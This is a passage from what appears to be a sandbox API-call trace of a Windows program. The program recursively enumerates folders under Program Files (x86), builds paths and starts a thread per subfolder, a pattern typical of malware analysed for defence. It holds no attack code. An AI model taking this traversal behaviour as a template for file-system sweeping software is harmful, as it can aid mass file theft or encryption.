ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0085.716] wcscmp (_String1="microsoft shared", _String2=".") returned 1 [0085.716] wcscmp (_String1="microsoft shared", _String2="..") returned 1 [0085.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d6f0 [0085.716] wcscpy (in: _Dest=0x1b79d6f0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0085.716] wcscat (in: _Dest=0x1b79d6f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0085.716] wcscat (in: _Dest=0x1b79d6f0, _Source="microsoft shared" | out: _Dest="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared" [0085.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d6f0) returned 1 [0085.716] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0085.716] wcscmp (_String1="Services", _String2=".") returned 1 [0085.716] wcscmp (_String1="Services", _String2="..") returned 1 [0085.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1d40 [0085.716] wcscpy (in: _Dest=0x1b7c1d40, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0085.716] wcscat (in: _Dest=0x1b7c1d40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0085.716] wcscat (in: _Dest=0x1b7c1d40, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0085.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0085.717] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0085.717] wcscmp (_String1="SpeechEngines", _String2=".") returned 1 [0085.717] wcscmp (_String1="SpeechEngines", _String2="..") returned 1 [0085.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c1db0 [0085.717] wcscpy (in: _Dest=0x1b7c1db0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0085.717] wcscat (in: _Dest=0x1b7c1db0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0085.717] wcscat (in: _Dest=0x1b7c1db0, _Source="SpeechEngines" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0085.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0085.719] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0085.719] wcscmp (_String1="System", _String2=".") returned 1 [0085.719] wcscmp (_String1="System", _String2="..") returned 1 [0085.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b858550 [0085.719] wcscpy (in: _Dest=0x1b858550, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0085.719] wcscat (in: _Dest=0x1b858550, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0085.719] wcscat (in: _Dest=0x1b858550, _Source="System" | out: _Dest="C:\\Program Files (x86)\\Common Files\\System") returned="C:\\Program Files (x86)\\Common Files\\System" [0085.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858550) returned 1 [0085.720] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0085.720] FindClose (in: hFindFile=0xed090 | out: hFindFile=0xed090) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce9a0) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 Thread: id = 110 os_tid = 0x700 [0085.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0085.722] wcscpy (in: _Dest=0x1b82bd60, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0085.722] wcscat (in: _Dest=0x1b82bd60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\" [0085.722] wcscat (in: _Dest=0x1b82bd60, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\*") returned="C:\\Program Files (x86)\\Google\\*" [0085.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.722] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda4b880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0085.723] wcscmp (_String1=".", _String2=".") returned 0 [0085.723] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda4b880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.723] wcscmp (_String1="..", _String2=".") returned 1 [0085.723] wcscmp (_String1="..", _String2="..") returned 0 [0085.723] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0085.723] wcscmp (_String1="Chrome", _String2=".") returned 1 [0085.723] wcscmp (_String1="Chrome", _String2="..") returned 1 [0085.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858550 [0085.723] wcscpy (in: _Dest=0x1b858550, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0085.723] wcscat (in: _Dest=0x1b858550, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\" [0085.723] wcscat (in: _Dest=0x1b858550, _Source="Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0085.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0085.727] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0085.727] wcscmp (_String1="CrashReports", _String2=".") returned 1 [0085.727] wcscmp (_String1="CrashReports", _String2="..") returned 1 [0085.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b8585b0 [0085.727] wcscpy (in: _Dest=0x1b8585b0, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0085.727] wcscat (in: _Dest=0x1b8585b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\" [0085.727] wcscat (in: _Dest=0x1b8585b0, _Source="CrashReports" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports" [0085.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8585b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0085.728] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799b1ba0, ftCreationTime.dwHighDateTime=0x1d5e653, ftLastAccessTime.dwLowDateTime=0x65d8f870, ftLastAccessTime.dwHighDateTime=0x1d55ae0, ftLastWriteTime.dwLowDateTime=0x65d8f870, ftLastWriteTime.dwHighDateTime=0x1d55ae0, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 1 [0085.728] wcscmp (_String1="flashfxp.exe", _String2=".") returned 1 [0085.728] wcscmp (_String1="flashfxp.exe", _String2="..") returned 1 [0085.728] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799b1ba0, ftCreationTime.dwHighDateTime=0x1d5e653, ftLastAccessTime.dwLowDateTime=0x65d8f870, ftLastAccessTime.dwHighDateTime=0x1d55ae0, ftLastWriteTime.dwLowDateTime=0x65d8f870, ftLastWriteTime.dwHighDateTime=0x1d55ae0, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 0 [0085.728] FindClose (in: hFindFile=0x1b7ce9a0 | out: hFindFile=0x1b7ce9a0) returned 1 [0085.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0085.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 Thread: id = 111 os_tid = 0x734 [0085.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bdb0 [0085.731] wcscpy (in: _Dest=0x1b82bdb0, _Source="C:\\Program Files (x86)\\Java" | out: _Dest="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0085.731] wcscat (in: _Dest=0x1b82bdb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\") returned="C:\\Program Files (x86)\\Java\\" [0085.731] wcscat (in: _Dest=0x1b82bdb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\*") returned="C:\\Program Files (x86)\\Java\\*" [0085.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.731] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xdd8103e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd8103e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0085.731] wcscmp (_String1=".", _String2=".") returned 0 [0085.731] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xdd8103e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd8103e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.731] wcscmp (_String1="..", _String2=".") returned 1 [0085.731] wcscmp (_String1="..", _String2="..") returned 0 [0085.731] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa6019f0, ftCreationTime.dwHighDateTime=0x1d5af0f, ftLastAccessTime.dwLowDateTime=0xd6f8be40, ftLastAccessTime.dwHighDateTime=0x1d5ad5c, ftLastWriteTime.dwLowDateTime=0xd6f8be40, ftLastWriteTime.dwHighDateTime=0x1d5ad5c, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1 [0085.731] wcscmp (_String1="absolutetelnet.exe", _String2=".") returned 1 [0085.731] wcscmp (_String1="absolutetelnet.exe", _String2="..") returned 1 [0085.732] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 1 [0085.732] wcscmp (_String1="jre7", _String2=".") returned 1 [0085.732] wcscmp (_String1="jre7", _String2="..") returned 1 [0085.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bd60 [0085.732] wcscpy (in: _Dest=0x1b82bd60, _Source="C:\\Program Files (x86)\\Java" | out: _Dest="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0085.732] wcscat (in: _Dest=0x1b82bd60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\") returned="C:\\Program Files (x86)\\Java\\" [0085.732] wcscat (in: _Dest=0x1b82bd60, _Source="jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0085.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bd60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0085.733] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 0 [0085.733] FindClose (in: hFindFile=0x1b7ce9a0 | out: hFindFile=0x1b7ce9a0) returned 1 [0085.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 [0085.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 Thread: id = 112 os_tid = 0x20c [0085.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d6f0 [0085.735] wcscpy (in: _Dest=0x1b79d6f0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0085.735] wcscat (in: _Dest=0x1b79d6f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\" [0085.735] wcscat (in: _Dest=0x1b79d6f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\*" [0085.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.735] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0085.735] wcscmp (_String1=".", _String2=".") returned 0 [0085.735] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.735] wcscmp (_String1="..", _String2=".") returned 1 [0085.735] wcscmp (_String1="..", _String2="..") returned 0 [0085.735] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0085.735] wcscmp (_String1="AS OLEDB", _String2=".") returned 1 [0085.735] wcscmp (_String1="AS OLEDB", _String2="..") returned 1 [0085.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79d470 [0085.736] wcscpy (in: _Dest=0x1b79d470, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0085.736] wcscat (in: _Dest=0x1b79d470, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\" [0085.736] wcscat (in: _Dest=0x1b79d470, _Source="AS OLEDB" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0085.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0085.736] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0085.736] FindClose (in: hFindFile=0x1b7ce9a0 | out: hFindFile=0x1b7ce9a0) returned 1 [0085.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d6f0) returned 1 [0085.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b10) returned 1 Thread: id = 113 os_tid = 0x7c0 [0085.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b7ce9a0 [0085.739] wcscpy (in: _Dest=0x1b7ce9a0, _Source="C:\\Program Files (x86)\\Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0085.739] wcscat (in: _Dest=0x1b7ce9a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\") returned="C:\\Program Files (x86)\\Microsoft Office\\" [0085.739] wcscat (in: _Dest=0x1b7ce9a0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\*") returned="C:\\Program Files (x86)\\Microsoft Office\\*" [0085.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.739] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddba24e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddba24e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858610 [0085.739] wcscmp (_String1=".", _String2=".") returned 0 [0085.739] FindNextFileW (in: hFindFile=0x1b858610, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddba24e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddba24e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.739] wcscmp (_String1="..", _String2=".") returned 1 [0085.739] wcscmp (_String1="..", _String2="..") returned 0 [0085.739] FindNextFileW (in: hFindFile=0x1b858610, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0085.739] wcscmp (_String1="Office14", _String2=".") returned 1 [0085.739] wcscmp (_String1="Office14", _String2="..") returned 1 [0085.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b10 [0085.739] wcscpy (in: _Dest=0x1b7c1b10, _Source="C:\\Program Files (x86)\\Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0085.739] wcscat (in: _Dest=0x1b7c1b10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\") returned="C:\\Program Files (x86)\\Microsoft Office\\" [0085.739] wcscat (in: _Dest=0x1b7c1b10, _Source="Office14" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14" [0085.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 